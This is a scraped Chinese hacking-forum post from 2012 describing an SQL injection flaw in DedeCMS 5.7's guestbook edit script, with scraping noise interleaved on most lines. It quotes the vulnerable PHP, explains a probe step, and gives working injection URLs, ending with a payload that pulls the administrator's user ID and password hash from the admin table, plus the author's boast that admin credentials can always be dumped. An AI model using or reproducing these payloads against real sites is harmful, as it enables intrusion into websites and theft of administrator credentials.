找回密码
 立即注册
查看: 5000|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
2 X7 o# u' J2 f, J! N4 b/ K( f- q+ I
) b. Z% d- |8 {7 ~% m# c7 i漏洞文件edit.inc.php具体代码:: T. g6 l0 n% x

$ i( `) G6 F" g$ O# I" @9 t% B  h6 H< ?php  - C+ G- I1 k; e* ]/ v4 M, D% H7 R
/ Y4 e1 F' I( b3 Q
if(!defined('DEDEINC')) exit('Request Error!');  0 K& G! d5 Z7 L% C  P- C- G
1 v' t/ N* m1 _1 z$ |, X
   5 G. l2 i! ^# P$ ]

: L+ h% u, C: R0 o6 ~if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
# n, Z0 d& ~/ d' T& e% f; P- i2 k; ]5 @3 k7 U2 b
else $GUEST_BOOK_POS = "guestbook.php";  4 T0 c  T" S% d' ]

) ]3 s4 Q8 @" ]! g! H   9 I! W) V# Q5 i1 G6 ~  V6 q7 M

! {0 U# b& p0 L9 G$id = intval($id);  / m; [/ D% ?6 e5 ~+ Z; z  n

: d/ r. `1 p0 ?4 `& z" h8 aif(empty($job)) $job='view';  
6 T7 k4 ?. r& G+ x1 d) Z( V' c
+ q, i  Q, [6 \; H; X   ) X$ D1 O) Q4 q. s9 C+ t! B

& M: V  q0 q3 r# Xif($job=='del' && $g_isadmin)  
5 ^$ c7 g4 L$ }. {' z& R- b- x
1 x9 X, D# M; ~9 b6 Z$ |0 }{  
, ^/ D4 @5 b4 d0 N) m' w
4 f- I% F. G& ?' m$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ; d- Z! i7 m: C: ?9 D; I  P3 g+ N
' R" ]& a5 W5 H
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  + R& b! ~( i0 \; `" |( P; b
% y! c9 ~. @0 }% O$ K9 P1 T* g0 Y
exit();  
; G" |! [5 a) ~& C( A: }0 F+ l- D# B6 t; ~9 e& Q
}  3 e9 P& b* T/ Z  s4 l, Q$ d

, B0 l) i+ x: Y7 I3 ]& {5 Helse if($job=='check' && $g_isadmin)  
( \. y0 f2 @0 ?7 R: m3 g, Y  ^, S+ v9 ]5 t
{  
1 [3 Q7 q8 E6 n; ~
( Q9 P1 \+ q2 }1 k$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
* N& K9 @1 S6 _3 l* f6 B7 _! `% \' M2 p, c5 P4 J. C8 G' Q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
' Z* S  z5 X: v5 S: i
9 \& M& J7 v/ E: E8 eexit();  
" {6 x; }7 U3 N3 b8 `' ~6 [& i! e+ ^1 [5 ~. c2 V) Y' p
}  
. ?2 w" t: W2 E6 i3 s$ i" P# ^1 H- J3 ~- [& M8 ~8 z
else if($job=='editok')  - }5 u4 u. S- }4 o% b9 n! S

4 g; _' c: m% A) h; r. v& p* d- ~{  & ?7 K  X& _' `- i3 f) u! r$ l: U+ |3 V
! D% U* q% Y( |& C7 N; s
$remsg = trim($remsg);  
( f. V( D; C; a% i; H# y/ i/ t8 n* b  A4 S! F; \* L
if($remsg!='')  ! D0 S$ I) G# P/ ]4 b2 ]
9 v; q3 B$ P" W8 ^: n* Z
{  1 T  }( g# y' |! K4 h, }% G
/ y/ i% p8 V; G
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
9 h; E" H0 g" Y; l0 k3 i* q  o" g( R( e1 q* \
if($g_isadmin)  % _- l  R1 f2 _
  [% j( B, e! k7 l% U" w
{  ( o) r/ @  o9 y' u  F$ f

' j/ C, m: y( D% C$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  4 w* {% \, r: m$ |/ p0 r

! S9 Q& f# G0 d  e7 v( y) |2 H3 a//$remsg <br /><font color=red>管理员回复:</font> }  
$ ?) k" }5 f+ S6 p: m9 [
) Y, x2 G1 g1 m8 E) ~& Oelse & ~5 w( S, r4 n

& Q. u4 H+ @% M4 c3 b1 y6 v( [( x{  
1 y" n& X* ]* \4 q1 L2 ~: V0 v" }8 f% F3 j  z: S/ h9 }& d
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  * d( a' w) D  q9 ~1 f

; U/ j: {4 ]) }1 A( J9 v$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  9 L! S4 K& v; ?' Q" @8 |

* g$ ]5 T5 s5 J! ~; i" c6 }* \7 U$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  + {/ V; |0 D7 F; [" N7 d; k  I
  I: @& E8 |1 i
$msg = $oldmsg.$remsg;  
: S) u: C( W  C6 v1 l. g
( c" x' \! l3 m- q4 C0 r}  2 N! ?! d) N2 y; K0 I: P

0 m0 i9 v  Y" }5 ~  k6 p" p}  
8 ?2 T& D# b$ c1 s" r
  V7 u% D. u- C- a3 L) L//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
- N; j7 [5 P" T) J' f3 Y, U+ z0 @/ I$ k( a
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  4 z/ q, @+ e- `+ O

2 `3 H+ Z' q7 l& `+ ]/ q3 l2 @+ ^7 aShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  3 c, S. y' Q- M' r: W7 Y3 F
1 F; ~' q: r6 i& \7 R) Y
exit();  8 p4 P% b; k" ^+ `; ]& J* _  _
# t# [$ R6 {! g9 r
}  
& }4 X+ C$ n6 o5 m4 v: z# ?! U3 `
( t! S8 s/ H5 G; }; r; b//home:www.errs.cc  
9 S$ D9 Y/ A8 e1 a2 K- t1 r+ E' n) ^1 S( D' g+ @' c
if($g_isadmin)  
4 R8 i6 }2 |9 L$ o  m/ S/ J! r' }8 [/ m& F! I8 P# v
{  2 w$ d( i! e; u. ^5 R+ h% |

1 q$ d; @; z+ f$ N$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
+ G9 {1 R: L9 @+ i4 E/ M: l4 v/ |5 @5 }- k2 [4 k
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ; a% b. Z. j4 O/ w9 y4 c

/ o& ~# j4 `* |) R1 P( V9 Q  b}  
1 s6 A& s8 R/ m2 r5 O7 x" i. [1 X6 I' d4 \4 r# U
else
3 W; v7 D# ~, a5 w* o4 D" L$ O# l8 L/ o9 v' g% F, H4 T
{  " Q9 W& c$ \1 R4 `* z8 x
  S: }+ U, v& n7 d; [/ m
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
5 z/ [& o. ~$ e+ v
2 r3 V7 R: d; I, b# R  Lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
8 z2 I, X- D  G5 c
& p5 a. s# b1 n; A3 k} 漏洞成功需要条件:4 S" I9 I" k  x; T2 C; U
1. php magic_quotes_gpc=off! D! {" x7 M$ j# e3 L( ^. N
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! Q. n& r( l! h. @7 X

+ u8 \/ z2 p2 ^. H怎么判断是否存在漏洞:
5 ^) E0 i0 k9 `. e9 a先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,% e; t: T7 ^( b6 h; G' y. s6 ^
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID6 R  h1 K. n' o" W: r5 P
访问:
1 t8 S) ~% r5 g1 M" N0 z; Z5 V
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了  B; B' b" ^# f- P# L
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
1 A" }7 G3 r( M# e
- ~! f* u& P$ d% ^* Y  D5 [$ O; I4 e6 o0 ]& Q" b6 Q# B& b
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
* Z3 A1 F8 M$ e' e1 z% L$ m如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, p  f( ]& a  ?8 i- |( L那么再次访问) Y! Z* l1 ~' I. b2 u6 |6 U) @

7 A& h7 Y& h: P9 e) ?4 @www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().$ Z  \9 z4 i: \1 N+ W1 {  Q! {
" l/ |6 R8 X; @
大概利用就是这样,大家有兴趣的多研究下!!
$ U, K  y+ e1 Z2 A- u# U8 W1 v; }# P! N* \5 x) v
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
) B+ q9 ]5 r" Z8 ?# Q' p8 w
) a' N  T9 @9 h5 j( t5 qview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表